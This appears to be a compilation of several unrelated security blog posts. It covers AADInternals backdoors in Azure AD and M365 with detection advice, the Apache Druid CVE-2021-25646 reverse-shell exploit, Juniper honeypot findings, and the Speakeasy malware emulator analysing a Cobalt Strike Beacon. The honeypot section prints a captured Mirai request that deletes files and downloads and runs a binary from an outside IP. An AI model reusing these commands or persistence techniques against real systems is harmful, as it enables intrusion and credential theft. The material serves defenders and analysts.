Stalkerware In conclusion, we need to mention that using software for surveillance is much more dangerous and commonplace in real life than AirTags.
Apple’s AirTags cost a fair amount of money, a person doing the tracking needs to pair an AirTag with their real account, and the manufacturer is actually trying to make it harder to hide the tags.
In contrast, developers of spyware and stalkerware apps are doing their best to make them as undetectable as possible.
In addition to tracking location, tracking apps give the spy a heap of other options.
In particular, they open access to the victim’s documents, photos and messages, which can be even more dangerous than geolocation.
So if you’re worried about being tracked, the first thing you need to do is protect your smartphone — it’s the most obvious target .
Then you can look around for unknown AirTags.
If you use an iPhone, it will notify you pretty quickly that there’s a tag.
If you have an Android and you want to protect yourself from being tracked with an AirTag, install the Apple Tracker Detect app.
Mandiant has seen an uptick in incidents involving Microsoft 365 (M365) and Azure Active Directory (Azure AD).
Most of these incidents are the result of a phishing email coercing a user to enter their credentials used for accessing M365 into a phishing site.
Other incidents have been a result of password spraying, password stuffing, or simple brute force attempts against M365 tenants.
In almost all of these incidents, the user or account was not protected by multi-factor authentication (MFA).
These opportunistic attacks are certainly the most common form of compromise for M365 and Azure AD, and are usually the initial vector to establish persistence.
During both incident response (IR) engagements and proactive cloud assessments we are often asked: What are some other types of attacks that Mandiant is seeing against M365 and Azure AD?
Is it possible for an on-premises compromise to “vertically” move to M365 and Azure AD?
If a global administrator account is compromised, is it possible to maintain persistence even after the compromised account has been detected, a password reset has occurred, and MFA has been applied?
AADInternals PowerShell Module
In some incidents, Mandiant has witnessed attackers utilizing a PowerShell module called AADInternals , which can allow an attacker to vertically move from on-premises to Azure AD, establish backdoors, steal passwords, generate user security tokens, and bypass MFA protections.
This PowerShell module has allowed attackers to maintain persistence in the tenant even after initial eradication efforts were conducted.
To see this module in action and understand how it works, Dr. Nestori Syynimaa’s PSCONFEU 2020 presentation, Abusing Azure Active Directory:
Who would you like to be today?
, provides an in-depth overview of the module.
To detect the use of AADInternals, it is important to understand how some of these attacks work.
Once an understanding is established, abnormal usage can be detected through a combination of log analysis and host-based indicators.
Backdoor 1: Abusing Pass-Through Authentication Attacker Requirements Local Administrative Access to a server running Pass-through Authentication Or M365 global administrator credentials The AADInternals PowerShell module contains a function called Install-AADIntPTASPY .
The function works by inserting itself as a man-in-the-middle within the Pass-through Authentication (PTA) process that occurs between Azure AD and the server running the PTA Agent in the on-premises environment.
Commonly, the PTA Agent runs on the same on-premises server as Azure AD Connect (AAD Connect).
When PTA is enabled, every logon that occurs against Azure AD gets redirected to the PTA Agent on-premises.
The PTA Agent asks an on-premises Active Directory Domain Controller if a password is valid for an authenticating account.
If valid, the PTA Agent responds back to Azure AD to grant the requestor access.
Figure 1 provides the workflow of Pass-through Authentication and where AADInternals can intercept the request.
Figure 1: Pass-through Authentication workflow
Once the function is running, every PTA attempt against Azure AD will be intercepted by the installed AADIntPTASpy module.
The module will record the user’s password attempt and reply back to Azure AD on behalf of the PTA Agent.
This reply advises Azure AD the password attempt was valid and grants the user access to the cloud, even if the password is incorrect.
If an attacker has implanted AADIntPTASpy , they can log in as any user that attempts to authenticate using PTA—and will be granted access.
Additionally, all password attempts that are registered by the AADIntPTASpy module are recorded within a log file on the server (Default location: C:\\PTASpy\\PTASPy.csv ).
Figure 2 shows how the log file can be decoded to reveal a user’s password in cleartext.
Figure 2: PTASpy.csv decoded passwords Not only will this function allow an attacker to login as any user who authenticates via PTA, but it will also act as a repository for collecting user passwords who are legitimately logging into Azure AD.
This could allow an attacker to pivot their attack to other areas of the network—or use these credentials against other internet accessible portals that may leverage single-factor authentication (e.g., VPN gateway).
An attacker can use this module in one of two ways: Method 1: On-Premises Compromise An attacker has gained access to an on-premises domain and is able to laterally move to the AADConnect / PTA Agent Server.
From this server, an attacker can potentially leverage the AADInternals PowerShell module and invoke the Install-AADIntPTASpy function.
Method 2: Cloud Compromise If an attacker has successfully compromised an Azure AD global admin account , an attack can be conducted from an attacker’s own infrastructure.
An attacker can install a PTA Agent on a server they manage and register the agent using the compromised global administrator account (Figure 3).
Figure 3: Azure AD Portal—registered Pass-through Authentication agents Once registered with Azure AD, the rogue server will begin to intercept and authorize all login attempts.
As with Method 1, this server can also be used to harvest valid credentials.
Backdoor 2: Abusing Identity Federation Attacker Requirements Local administrative access to AD and server running Active Directory Federation Services Or M365 global administrator credentials Another method of authenticating to M365 is through the usage of federation services.
When a M365 domain is configured as a federated domain, a trust is configured between M365 and an external identify provider.
In many cases, this trust is established with an Active Directory Federation Services (ADFS) server for an on-premises Active Directory domain.
Once a trust is established, when a user logs into M365 using a federated domain, their request is redirected to the external identify provider (ADFS) where their authentication is validated (Figure 4).
Once validated, the ADFS server provides the user a security token.
This token is then trusted by M365 and grants the access to the platform.
Figure 4: Microsoft 365 Federation Sign-in workflow AADInternals has a PowerShell function to craft security tokens, which mimics the ADFS authentication process.
When providing the function a valid UserPrincipalName, Immutable ID and IssuerURI, an attacker can generate a security token as any user of the tenant.
What’s even more concerning is that once this security token is generated, this can allow an attacker to bypass MFA.
As with Backdoor 1, this attack can either be performed from a compromised on-premises environment or from an attacker’s own infrastructure.
Method 1: On-Premises Compromise Once an attacker has gained access to an on-premises domain with elevated access, they can begin to collect the required information to craft their own security tokens to backdoor into M365 as any user.
An attacker will require: A valid UserPrincipalName and Immutable.
Both of these attributes can be pulled from the on-premises Active Directory domain.
IssuerURI of the ADFS server and ADFS Signing certificate.
This can be obtained from an ADFS server when directly logged into the server or remotely querying the server via an privileged account.
Once an attacker has collected the necessary information, using the AADInternals Open-AADIntOffice365Portal command, a security token for the user can be generated granting an attacker access to M365 (Figure 5).
Figure 5: AADInternals Open-AADIntOffice365Portal command Method 2:
Cloud Compromise If an attacker has a compromised an M365 Global Administrator account, using their own infrastructure, an attacker can use their administrative access to collect user information and reconfigure the tenant to establish their backdoor.
In this method, an attacker will require: A valid UserPrincipalName and valid ImmutableId.
Figure 6 shows how the Get-MsolUser command can obtain a user’s ImmutableId from Azure AD.
Figure 6: Get-MsolUser—list user UPN & ImmutableId IssuerURI This can be obtained by converting a managed domain to a federated domain.
Figures 7 through 10 show how the AADInternals ConvertTo-AADIntBackdoor command (Figure 8) can be used to allow attacker to register their own IssuerURI for a federated domain.
Figure 7: Get-msoldomain—list of registered domains and authentication Figure 8: ConvertTo-AADIntBackdoor—convert domain to federated authentication Figure 9:
Changed authentication method Figure 10:
Azure AD Portal registered domains Note: To not interrupt production and authentication with an existing federated domain (and to remain undetected), an attacker may opt to register a new domain with the tenant.
Figure 11: AADInternals Open-AADIntOffice365Portal Command using new Federated domain Once an attacker has properly configured the tenant, using the ImmutableId of any user, a security token can be generated by executing the Open-AADIntOffice365Portal command (Figure 11).
This will allow an attacker to login as that user without the need for a valid certificate or a legitimate IssuerURI.
Fortunately for defenders, this method will generate a number of events in the unified audit log, which can be leveraged for monitoring and alerting.
Mitigation and Detection Once persistence is established, it can be extremely difficult to detect login activity that is utilizing one of the previously described methods.
In lieu of this, it is recommended to monitor and alert on M365 unified audit logs and Azure AD sign-in activity to detect anomalous activity.
Detection in FireEye Helix Being that Mandiant has seen this methodology being used in the wild, we felt it was necessary to build these detections into our FireEye Helix security platform.
Helix engineers have created sever new detection rules that monitor for detectable activity of an attacker making use of the AADInternals PowerShell module.
The following five rules will monitor a server’s event logs and alert upon the installation and usage of the AADInternals PowerShell module (Figure 12).
The detection of these activities could be high fidelity alerts that an attacker is preparing to configure backdoors into M365 and Azure AD environments.
Figure 12: AADInternals Helix rules
If an attacker has successfully configured a backdoor using AADInternals, Helix will alert upon the following events registered in the Office 365 unified audit log and Azure Activity Log as indication of a possible event (Figure 13 and Figure 14).
It is important to note that these alerts could be triggered upon legitimate administrator activity.
When responding to these alerts, first check with your M365 and Azure AD administrator to verify the activity before raising a security event.
Figure 13:
Office 365 and Azure Helix rules Figure 14:
PTA Connector Registered alert description Hunting for Backdoors in M365 Unified Audit Logs and Azure AD Logs If you suspect a global administrator account was compromised and you want to review Azure AD for indicators of potential abuse, the following should be reviewed (note that these same concepts can be used for proactive log monitoring): From Azure AD Sign-ins logs, monitor logon activity from On-Premises Directory Synchronization Service Accounts.
This account is used by the Azure AD Connect service (Figure 15).
Figure 15: Azure AD Sign-ins Baseline the IP addresses used by this account and make sure the IPs match those assigned to the on-premises WAN infrastructure.
If the attacker has configure a PTA Agent on their own infrastructure, seeing an IP that does not match your baseline could be an indicator that a rogue PTA Agent has been configured by the attacker (Figure 16).
Figure 16:
Azure AD Sign-in logs—On-Premises Directory Synchronization Services account From Azure AD Sign-ins, monitor and baseline Azure AD Sign-ins to the Azure AD Application Proxy Connector.
Make sure to validate username, IP and location.
These events are typically only generated when a new PTA agent is connected to the tenant.
This could be an indicator that an attacker has connected a rogue PTA server hosted on an attacker’s infrastructure (Figure 17).
Figure 17: Azure AD Sign-in logs—Azure AD Application Proxy Connector If using Azure Sentinel, this event will also be registered in the Azure AuditLogs table as a “ Register Connector ” OperationName (Figure 18).
Figure 18: Register Connector—Azure Sentinel logs In the Azure Management Portal under the Azure AD Connect blade, review all registered servers running PTA Agent.
The Authentication Agent and IP should match your infrastructure (Figure 19).
Log in to https://portal.azure.com
Select Azure AD Connect > Pass-through Authentication Figure 19:
Azure Active Directory Pass-through Authentication agent status Monitor and alert for \"Directory Administration Activity\" in Office 365 Security & Compliance Center’s unified audit log.
When an attacker is able to create a domain federation within a compromised cloud tenant, and link this to attacker-owned infrastructure, this will generate activity in the log (Figure 21).
https://Protections.office.com/unifiedauitlog >
Audit Log Search Select Directory Administration Activates category to select all activities Create New Alert Policy (Figure 20)
Figure 20:
Unified Audit Log >
Create new alert policy Figure 21:
Unified Audit Log filtered for domain related events Using Azure Sentinel, more granular Directory Administration Activities can be modified for suspicious activity.
This includes additions, deletions and modifications of domains and their authentication settings (Figure 22).
Monitoring for OfficeActivity Operations in Azure Sentinel can allow an organization to validate if this is normalized activity or if an attacker is working on setting up a backdoor for PTA or federation.
Table: OfficeActivity Operation: Set-AcceptedDomain Operation: Set-MsolDomainFederationSettings Operation: Add-FederatedDomain Operation: New-Accepted Domain Operation: Remove-Accepted Domain Operation: Remove-FederatedDomain Figure 22:
OfficeActivity Operations Azure Sentinel logs Detection On-Premises If an attacker is able to compromise on-premises infrastructure and access a server running AD Connect or ADFS services with the intention of leveraging a tool such as AADInternals to expand the scope of their access to include cloud, timely on-premises detection and containment is key.
The following methods can be leveraged to ensure optimized visibility and detection for the scope of activities described in this post: Treat ADFS and Azure AD Connect servers as Tier 0 assets .
Use a dedicated server for each.
Do not install these roles and server in addition to other.
All too often we are seeing Azure AD Connect running on a file server.
Ensure PowerShell logging is optimized on AD Connect and ADFS servers Review Microsoft-Windows-PowerShell/Operational logs on ADFS and AADConnect Server Logs.
If PowerShell logging is enabled, search for Event ID 4101.
This event ID will record the event where AADInternals was installed (Figure 23).
Figure 23: EventID 410—Installed Module Additionally, with this logging enabled, you will be able to review the PowerShell commands used by an attacker.
In PowerShell, run Get-Module -All and look for the presence of AADInternals (Figure 24).
Figure 24: Get-Module command to list installed modules Alert for the presence of C:\\PTASpy and C:\\PTASpy\\PTASpy.csv.
This is the default location of the log file that contains records of all the accounts that were intercepted by the tool.
Remember, an attacker may also use this to harvest credentials, so it is important to reset the password for these accounts (Figure 25).
Figure 25: PTASpy.csv log activity Mitigations
In order for this attack to be successful, an attacker must gain administrative privileges on a server running Azure AD Connect and/or gain global administrator rights within M365.
Simple practices such as limiting and properly protecting global administrator accounts as well as properly protecting Tier 0 assets can greatly reduce the risk of an attacker successfully using the AADInternals PowerShell against your organization.
Limit or restrict access to Azure AD Connect servers.
Any server acting as an identity provider or facilitating identity federation should be treated as a Tier 0 asset.
Create separate dedicated global administrator accounts .
Global administrators should be cloud-only accounts.
These accounts should not retain any licensing.
Implement MFA on all accounts: admins, users and services.
If a particular account cannot use MFA, apply a conditional access rule that limits its logon to a trusted network.
This works particularly well for service accounts.
Establish a roadmap to block legacy authentication .
Limit which accounts are synced from on-premises to the cloud .
Do not sync privileged or service accounts to the cloud.
Use Azure administrative roles .
Not everybody or everything needs to be a global admin to administer the environment.
Use password hash sync over Pass-through Authentication.
Many organizations are reluctant to sync their password to Azure AD.
The benefits from this service greatly outweigh the risks.
Being able to use global and custom banned passwords lists , for both the cloud and on-premises , is a tremendous benefit.
Forward all M365 unified audit logs and Azure logs to a SIEM and build detections.
Ensure you are forwarding the logs recommended in this post and building the appropriate detections and playbooks within your security operations teams.
Specifically monitor for: Set-AcceptedDomain Set-MsolDomainFederationSettings Add-FederatedDomain New-Accepted Domain Remove-Accepted Domain Remove-FederatedDomain Periodically review all identity providers and custom domains configured in the M365 tenant.
If an attacker is successful at gaining global administrative privileges, they may choose to add their own identity provider and custom domain to maintain persistence.
Acknowledgements I want to give a special thanks to Daniel Taylor, Roberto Bamberger and Jennifer Kendall at Microsoft for collaborating with Mandiant on the creation of this blog post.
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Apache Druid is an open source , distributed data store that is designed for ingesting high volumes of data to provide instant data visibility, ad-hoc analytics and queries with low latency and high concurrency.
Druid is commonly used by enterprises to analyze real-time or historical data.
It can be deployed as part of public, private or a hybrid cloud.
A code execution vulnerability has been recently reported in Apache Druid that allows a remote unauthenticated user to execute arbitrary javascript code with the privileges of druid server processes.
This vulnerability has been assigned CVE-2021-25646.
More details about CVE-2021-25646 and various affected versions can be found at NVD .
In this blog, let’s take a close look at how this vulnerability works.
Vulnerability Details In our lab, we had Druid version 0.20.0 running on an Ubuntu server.
Druid can ingest data from multiple sources like Apache Kafka, Amazon S3 and Hadoop, among others.
It also allows importing data from the local disk and users can insert their own data while building the data store.
Druid data ingest options To enter your own data, choose “ Source type ” as “ inline “ and simply enter some sample data in JSON format like so: {“isRobot”:true,”channel”:”#itsme”,”timestamp”:”2021-2-22T14:12:24.050Z”,”flags”:”sample”,”isUnpatrolled”:false,”page”:”1″,”diffUrl”:”https://google.com”,”added”:1,”comment”:”I am sample data”,”commentLength”:16,”isNew”:true,”isMinor”:false,”delta”:31,”isAnonymous”:true,”user”:”Lsjbot”, “deltaBucket”:0,”deleted”:0,”namespace”:”Main”} Sample JSON data Here is how the API request looks for this step: Sampler API For other options, you can refer to this Druid quickstart guide that provides simple steps to get you started.
Once data ingestion is complete , the Druid UI looks like this: Data loaded The “ sampler “ API also provides the ability for an authenticated user to execute user defined JavaScript code to carry out certain filtering and transform operations.
This functionality, though, is supposed to be used in high trust environments only and is disabled by default.
A command injection vulnerability exists in vulnerable versions of Apache Druid.
A remote unauthenticated user can create a specially crafted request with embedded JavaScript code that is executed, even if this feature is disabled.
As a result, it can lead to command injection and remote code execution.
This happens as vulnerable versions of Druid fail to validate the abnormal JSON request body with empty keys.
This overrides the default configuration and allows malicious users to execute arbitrary code.
While fixing this issue, Druid developers have mentioned that this vulnerability was a result of an existing bug in Jackson deserializer, a Java library that helps in converting JSON strings into Java objects.
Fix for CVE-2021-25646 Remote Code Execution In this vulnerability, since any JavaScript code can be executed, the following scenario was tested: Open a random listener port on the attacker’s machine using a utility such as nc .
From the attacker’s machine, send a specially crafted “ sampler “ API request with JSON data containing malicious JavaScript code that connects back to the above port with the shell .
As a consequence, a reverse shell is created with the Druid user privilege level.
Opening port on attacker: open port with nc Sending JSON body in “ sampler “ API using curl: Malicious JSON body Sending via curl Achieving reverse shell capability on the listener port: Reverse shell
This is how the malicious API request looks like : Malicious sampler API Remediation and Conclusion Juniper Networks’ NGFW SRX customers with an IDP license are protected against this vulnerability using the signature: HTTP:APACHE:DRUID-CMD-INJ
This signature was released on 23rd Feb 2021 with Export #3358 and is part of the recommended template.
At the same time, those affected by CVE-2021-25646 should upgrade Apache Druid to the latest stable version, as advised by the vendor.
Juniper Threat Labs (JTL) has a network of sensors throughout the world that we use to monitor cyber security threats.
These threats can range from Brute Force attacks against logins, such as SSH, FTP, telnet and RDP, to more sophisticated attacks against SMB, Citrix and databases.
The JTL sensors are designed to mimic the majority of common operating systems currently on the internet in both up-to-date patched and unpatched systems.
These sensors are located in every continent, with the exception of Antarctica, and focus on locations that might be tempting to attackers, as well as locations that are a focus for certain threat groups.
We monitor the attack locations and look for trends of which locations have become a hotbed of activity.
The map below is an example of attacks happening in real-time, showing the point of origin of attacks against the Juniper Threat Labs’ sensors.
Juniper Threat Labs also employs various types of sensors within its intelligence network.
These sensors pick up numerous attacks on all 65,535 different network ports.
We see the well-known ports attacked regularly, but threat actors commonly spread their attacks across the entire fourth layer of the TCP/IP stack.
This chart shows the spread of attacks across one set of sensors over a seven day period.
The sensors are rotated out regularly to provide a larger footprint for potential attackers, as well as to prevent attackers from identifying these sensors as research devices.
Using these sensors, we see attacks that range from simple IoT device attacks, such as this attack targeting a common Digital Video Recorder using the Mirai botnet.
GET /shell?cd+/tmp;rm+-rf+*;wget+192.3.67.106/beastmode/b3astmode.arm7;chmod+777+/tmp/b3astmode.arm7;sh+/tmp/b3astmode.arm7+BeastMode.
Rep.
Jaws HTTP/1.1 User-Agent: Hello, world Host:
127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive
Currently, Mirai is one of the most common botnets we are seeing attack IoT devices.
Variants of Mirai have developed with over 70 different vulnerabilities and rising.
Some popular variants like Okiru, Masuta and IoTroop (and, most recently, SORA, UNSTABle Hoaxcall or Mirai XTC) are making the rounds.
While there are some guesses as to the number of variants of Mirai, no one can be certain of how many different developers have taken the code and made it their own.
We also see daily brute force attacks against numerous different software packages.
One of the most common is MSSQL database.
The attack shown below is one of the thousands of different brute force attacks we see on a daily basis.
Mssqla5yqbm5,mo`~!
@ ~#$%^&*(),.
; 000000a0 ��, squelda 1.0 5yqbm5,mo`~!
@ ~#$%^&*(),.
;
MSDBLIB Juniper SecIntel offers curated threat intelligence that is continuously updated, actionable and validated by Juniper Threat Labs.
This includes a Command and Control (CnC) feed that provides Command and Control IPs that attackers are using to establish persistence, control malware or maintain their connection to your network.
We also recently added a new Attacker IP feed that contains IPs that were seen attempting to compromise our sensor network to establish the persistence that the attacker is seeking to maintain.
IPs are collected within a broker, then separated into attack threat types and aggregated into various categories that will be used to enhance this feed, as well as create new feeds that can be acted on via Juniper firewalls and routers.
Each attacker IP is assigned a threat value from 1 -10, with 10 being the highest severity.
As time goes on, if no additional malicious activity is seen by our sensors from a particular IP, its threat level will wane and then drop off completely.
The IPs that are harvested from these sensors are then automatically vetted and cross-referenced with a DNS threat feed that maps out related domains, IPs and infrastructure to mitigate potential false positives.
This will also include reputation data from other companies and partners who are participating in research to identify insecure or compromised systems on the internet.
To take advantage of the new Attacker IP feed, make sure to have the SecIntel service configured on the SRX to protect against inbound traffic.
Step 1) Check to see the feed is enabled in the ATP Cloud Portal.
Step 2)
Create a Threat Prevention Policy that will permit, block and log IPs, URLs and domains of a certain threat level.
The example below uses Juniper best practices and permits from threat level 1-4, logs from 5-7 and then blocks from 8-10.
Step 3)
Create a security policy for the SRX Series firewall that uses the SecIntel feature on inbound traffic from the internet.
In closing, while Juniper Threat Labs has considerable visibility into attacks in the wild, we want to emphasize that no security vendor has full visibility into every attack or every threat actor active on the internet.
That is why we partner with many third parties to gain a better visibility into the big picture, including the Cyber Threat Alliance where we share our intelligence and we gain insight from other security vendors.
Our priority is to protect our customers networks and make the internet a safer place for everyone.
In order to enable emulation of malware samples at scale, we have developed the Speakeasy emulation framework .
Speakeasy aims to make it as easy as possible for users who are not malware analysts to acquire triage reports in an automated way, as well as enabling reverse engineers to write custom plugins to triage difficult malware families.
Originally created to emulate Windows kernel mode malware, Speakeasy now also supports user mode samples.
The project’s main goal is high resolution emulation of the Windows operating system for dynamic malware analysis for the x86 and amd64 platforms.
Similar emulation frameworks exist to emulate user mode binaries.
Speakeasy attempts to differentiate from other emulation frameworks the following ways: Architected specifically around emulation of Windows malware Supports emulation of kernel mode binaries to analyze difficult to triage rootkits Emulation and API support driven by current malware trends to provide the community with a means to extract indicators of compromise with no extra tooling Completely configurable emulation environment requiring no additional code The project currently supports kernel mode drivers, user mode Windows DLLs and executables, as well as shellcode.
Malware samples can be automatically emulated, with reports generated for later post processing.
The ongoing project goal will be continuing to add support for new or popular malware families.
In this blog post, we will show an example of Speakeasy’s effectiveness at automatically extracting network indicators from a Cobalt Strike Beacon sample acquired from an online malware aggregate.
Background Dynamic analysis of Windows malware has always been a crucial step during the malware analysis process.
Understanding how malware interacts with the Windows API and extracting valuable host-based and network-based indicators of compromise (IOCs) are critical to assessing the impact malware has on an affected network.
Typically, dynamic analysis is performed in an automated or targeted fashion.
Malware can be queued to execute within a sandbox to monitor its functionality, or manually debugged to reveal code paths not executed during sandbox runs.
Code emulation has been used historically for testing, validation and even malware analysis.
Being able to emulate malicious code lends many benefits from both manual and automated analysis.
Emulation of CPU instructions allows for total instrumentation of binary code where control flow can be influenced for maximum code coverage.
While emulating, all functionality can be monitored and logged in order to quickly extract indicators of compromise or other useful intelligence.
Emulation provides several advantages over execution within a hypervisor sandbox.
A key advantage is noise reduction.
While emulating, the only activity that can be recorded is either written by the malware author, or statically compiled within the binary.
API hooking within a hypervisor (especially from a kernel mode perspective) can be difficult to attribute to the malware itself.
For example, sandbox solutions will often hook heap allocator API calls without knowing if the malware author intended to allocate memory, or if a lower-level API was responsible for the memory allocation.
However, emulation has disadvantages as well.
Since we are removing the operating system from the analysis phase, we, as the emulator, are now responsible for providing the expected inputs and outputs from API calls and memory access that occur during emulation.
This requires substantial effort in order to successfully emulate malware samples that are expected to the run on a legitimate Windows system.
Shellcode as an Attack Platform In general, shellcode is an excellent choice for attackers to remain stealthy on an infected system.
Shellcode runs within executable memory and does not need to be backed by any file on disk.
This allows attacker code to hide easily within memory where most forms of traditional forensic analysis will fail to identify it.
Either the original binary file that loads the shellcode must first be identified, or the shellcode itself must be dumped from memory.
To avoid detection, shellcode can be hidden within a benign appearing loader, and then be injected into another user mode process.
In the first part of this blog series, we will show the effectiveness of emulation with one of the more common samples of shellcode malware encountered during incident response investigations.
Cobalt Strike is a commercial penetration testing framework that typically utilizes stagers to execute additional code.
An example of a stager is one that downloads additional code via a HTTP request and executes the HTTP response data.
The data in this case is shellcode that commonly begins with a decode loop, followed by a valid PE that contains code to reflectively load itself.
In the case of Cobalt Strike, this means it can be executed from the start of the executable headers and will load itself into memory.
Within the Cobalt Strike framework, the payload in this case is typically an implant known as Beacon.
Beacon is designed to be a memory resident backdoor used to maintain command and control (C2) over an infected Windows system.
It is built using the Cobalt Strike framework without any code modifications and can be easily built to have its core functionality and its command and control information modified.
All of this allows attackers to rapidly build and deploy new variants of Beacon implants on compromised networks.
Therefore, a tool to rapidly extract the variable components of Beacon are necessary and, ideally, will not require the valuable time of malware analysts.
Speakeasy Design Speakeasy currently employs the QEMU-based emulator engine Unicorn to emulate CPU instructions for the x86 and amd64 architectures.
Speakeasy is designed to support arbitrary emulation engines in the future via an abstraction layer, but it currently relies on Unicorn.
Full OS sandboxing will likely always be required to analyze all samples as generically emulating all of Windows is somewhat unfeasible.
Sandboxing can be difficult to scale on demand and can be time consuming to run samples.
However, by making sure we emulate specific malware families, such as Beacon in this example, we can quickly reduce the need to reverse engineer variants.
Being able to generate high level triage reports in an automated fashion is often all the analysis that is needed on a malware variant.
This allows malware analysts more time to focus on samples that may require deeper analysis.
Shellcode or Windows PEs are loaded into the emulated address space.
Windows data structures required to facilitate basic emulation of Windows kernel mode and user mode are created before attempting to emulate the malware.
Processes, drivers, devices and user mode libraries are “faked” in order to present the malware with a realistic looking execution environment.
Malware will be able to interact with an emulated file system, network and registry.
All these emulated subsystems can be configured with a configuration file supplied to each emulation run.
Windows APIs are handled by Python API handlers.
These handlers will try to emulate expected outputs from these APIs so that malware samples will continue their expected execution path.
When defining an API handler, all that is needed is the name of the API, the number of arguments the API expects, and an optional calling convention specification.
If no calling convention is supplied, stdcall is assumed.
Currently, if an API call is attempted that is not supported, Speakeasy will log the unsupported API and move on to the next entry point.
An example handler for the Windows HeapAlloc function exported by kernel32.dll is shown in Figure 1.
Figure 1: Example handler for Windows HeapAlloc function All entry points are emulated by default.
For example, for DLLs, all exports are emulated, and for drivers, the IRP major functions are each emulated.
In addition, dynamic entry points that are discovered during runtime are followed.
Some examples of dynamic entry points include threads that are created or callbacks that are registered.
Attributing activity to specific entry points can be crucial to seeing the whole picture when trying to identify the impact of a malware infection.
Reporting Currently, all events captured by the emulator are logged and represented by a JSON report for easy post processing.
This report contains events of interest that are logged during emulation.
Like most emulators, all Windows API calls are logged along with arguments.
All entry points are emulated and tagged with their corresponding API listings.
In addition to API tracing, other specific events are called out including file, registry and network access.
All decoded or “memory resident” strings are dumped and displayed in the report to revealed useful information not found within static string analysis.
Figure 2 shows an example of a file read event logged in a Speakeasy JSON report.
Figure 2:
File read event in a Speakeasy report Speed Because the framework is written in Python, speed is an obvious concern.
Unicorn and QEMU are written in C, which provides very fast emulation speeds; however, the API and event handlers we write are in Python.
Transitioning between native code and Python is extremely expensive and should be done as little as possible.
Therefore, the goal is to only execute Python code when it is absolutely necessary.
By default, the only events we handle in Python are memory access exceptions or Windows API calls.
In order to catch Windows API calls and emulate them in Python, import tables are doped with invalid memory addresses so that we only switch into Python when import tables are accessed.
Similar techniques are used for when shellcode accesses the export tables of DLLs loaded within the emulated address space of the malware.
By executing as little Python code as possible, we can maintain reasonable speeds while still allowing users to rapidly develop capabilities for the framework.
Memory Management Speakeasy implements a lightweight memory manager on top of the emulator engine’s memory management.
Each chunk of memory allocated by malware is tracked and tagged so that meaningful memory dumps can be acquired.
Being able to attribute activity to specific chunks of memory can prove to be extremely useful for analysts.
Logging memory reads and writes to sensitive data structures can reveal the true intent of malware not revealed by API call logging, which is particularly useful for samples such as rootkits.
Speakeasy offers an optional “memory tracing” feature that will log all memory accesses that samples exhibit.
This will log all reads, writes and executes to memory.
Since the emulator tags all allocated memory chunks, it is possible to glean much more context from this data.
If malware hooks a critical data structure or pivots execution to dynamically mapped memory this will be revealed and can be useful for debugging or attribution.
This feature comes at a great speed cost, however, and is not enabled by default.
The emulated environment presented to malware includes common data structures that shellcode uses to locate and execute exported Windows system functions.
It is necessary to resolve exported functions in order to invoke the Win32 API and therefore have meaningful impact on a targeted system.
In most cases, Beacon included, these functions are located by walking the process environment block (commonly called the PEB).
From the PEB, shellcode can access a list of all loaded modules within a process’s virtual address space.
Figure 3 shows a memory report generated from emulating a Beacon shellcode sample.
Here we can trace the malware walking the PEB in order to find the address of kernel32.dll.
The malware then manually resolves and calls the function pointer for the “VirtualAlloc” API, and proceeds to decode and copy itself into the new buffer to pivot execution.
Figure 3: Memory trace report Configuration Speakeasy is highly configurable and allows users to create their own “execution profiles”.
Different levels of analysis can be specified in order to optimize individual use cases.
The end goal is allowing users easy switching of configuration options with no code changes.
Configuration profiles are currently structured as JSON files.
If no profile is provided by the user, a default configuration is provided by the framework.
The individual fields are documented within the Speakeasy project.
Figure 4 shows a snippet of the network emulator configuration subsection.
Here, users can specify what IP addresses get returned when a DNS lookup occurs, or in the case of some Beacon samples, what binary data gets returned during a TXT record query.
HTTP responses have custom responses configured as well.
Figure 4:
Network configuration Many HTTP stagers will retrieve a web resource using a HTTP GET request.
Often, such as with Cobalt Strike or Metasploit stagers, this buffer is then immediately executed so the next stage of execution can begin.
This response can be easily configured with Speakeasy configurations.
In the configuration in Figure 4, unless overridden, the framework will supply the data contained in the referenced default.bin file.
This file currently contains debug interrupt instructions (int3), so if the malware attempts to execute the data it exits and will be logged in the report.
Using this, we can easily label the malware as a downloader that downloads additional code.
Configuration fields also exist for file system and registry emulation.
Files and registry paths can similarly be configured to return data to samples that expect to be running on a live Windows system.
Limitations As said, emulation comes with some challenges.
Maintaining feature parity with the system being emulated is an ongoing battle; however, it provides unique opportunities for controlling the malware and greater introspection options.
In cases where emulation does not complete fully, emulation reports and memory dumps can still be generated in order to gather as much data as possible.
For example, a backdoor may successfully install its persistence mechanism, but fail to connect to its C2 server.
In this situation, the valuable host-based indicators are still logged and can provide value to an analyst.
Missing API handlers can quickly and easily be added to the emulator in order to handle these situations.
For many API handlers, simply returning a success code will be sufficient to make the malware to continue execution.
While full emulation of every piece of malware may not be feasible, targeting functionality of specific malware families can greatly reduce the need to reverse engineer variants of the same families.
Usage Speakeasy is available right now on our GitHub .
It can be installed with the included Python installer script or installed within a Docker container using the provided Dockerfile.
It is platform agnostic and can be used to emulate Windows malware on Windows, Linux or MacOS.
More information can be found on the project’s README .
Once installed, Speakeasy can be used as a standalone library or invoked directly using the provided run_speakeasy.py script.
In this blog post we will demonstrate how to emulate a malware sample directly from the command line.
For information on how to use Speakeasy as a library, see the project’s README .
The included script is meant to emulate a single sample and generate a JSON report with the logged events.
The command line arguments for run_speakeasy.py are shown in Figure 5.
Figure 5: Command line arguments for run_speakeasy.py Speakeasy also offers a rich development and hooking interface for writing custom plugins.
This will be covered in more detail in a later blog post.
Emulation of a Beacon Implant For this example, we will be emulating shellcode that decodes and executes a Beacon implant variant that has a SHA-256 hash of 7f6ce8a8c2093eaf6fea1b6f1ef68a957c1a06166d20023ee5b637b5f7838918.
We begin by verifying the file format of the sample.
This sample is expected to be launched either by a loader or used as part of an exploit payload.
Figure 6: Hex dump of malware sample
In Figure 6, we can clearly see that the file is not in the PE file format.
An analyst who has seen many shellcode samples may notice the first two bytes: “0xfc 0xe8”.
These bytes disassemble to the intel assembly instructions “cld” and “call”.
The “cld” instruction is a common prelude to position independent shellcode as it will clear the direction flag allowing malware to easily parse string data from system DLL’s export tables.
The following call instruction is often used by shellcode to get its current program counter by following it with a “pop” instruction.
This allows the malware to discover where it is executing from in memory.
Since we are reasonably certain this sample is shellcode, we will invoke Speakeasy with the command line shown in Figure 7.
Figure 7:
Command line used to emulate malware sample
This will instruct Speakeasy to emulate the sample from offset zero as x86 shellcode.
Note: even though we are emulating code and not actually executing it, these are still attacker generated binaries.
